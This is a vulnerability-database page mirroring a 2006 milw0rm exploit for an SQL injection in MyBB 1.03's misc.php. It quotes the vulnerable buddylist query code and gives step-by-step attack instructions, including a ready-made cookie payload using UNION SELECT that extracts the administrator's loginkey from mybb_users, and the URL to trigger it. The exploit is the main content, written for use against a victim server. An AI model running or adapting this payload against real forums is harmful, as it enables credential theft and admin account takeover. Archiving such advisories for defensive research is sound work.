Lucene search
K

MyBulletinBoard (MyBB) <= 1.03 (misc.php COMMA) SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

MyBulletinBoard (MyBB) SQL Injection vulnerability in misc.ph

Code

                                                MyBB New SQL Injection

D3vil-0x1 &#60; Devil-00 &#62;

Milw0rm ID :-
http://www.milw0rm.com/auth.php?id=1320

The Inf.File :-
misc.php

Linez :-

[code]
	$buddies = $mybb-&#62;user[&#39;buddylist&#39;];

	$namesarray = explode(&#34;,&#34;,$buddies);

	if(is_array($namesarray))

	{

		while(list($key, $buddyid) = each($namesarray))

		{

			$sql .= &#34;$comma&#39;$buddyid&#39;&#34;; &#60;== HERE :) Uncleard Var !!

			$comma = &#34;,&#34;;

		}

	$timecut = time() - $mybb-&#62;settings[&#39;wolcutoff&#39;];

	$query = $db-&#62;query(&#34;SELECT u.*, g.canusepms FROM &#34;.TABLE_PREFIX.&#34;users u LEFT JOIN &#34;.TABLE_PREFIX.&#34;usergroups g ON (g.gid=u.usergroup) WHERE u.uid IN ($sql)&#34;);
[/code]

From 255 to 265

The GLOBALS unset function .. do not unset $_COOKIES ..
then u can start attacking any var by cookies :)

Tested MyBB 1.3 .. Register_Globals = On

Explorer Exploit :-

1- Login by any username ..
2- Create new cookie (
	name 	=&#62; &#34;comma&#34;
	value	=&#62; &#34;comma=0)%20%3C%3E%200%20UNION%20ALL%20SELECT%201,loginkey,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,1 FROM mybb_users WHERE uid=1/*&#34;)

3- Check The URL :-
HOST/PATH/misc.php?action=buddypopup

Where HOST = The Vic.Server And PATH = MyBB Dir.

# milw0rm.com [2006-02-28]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
23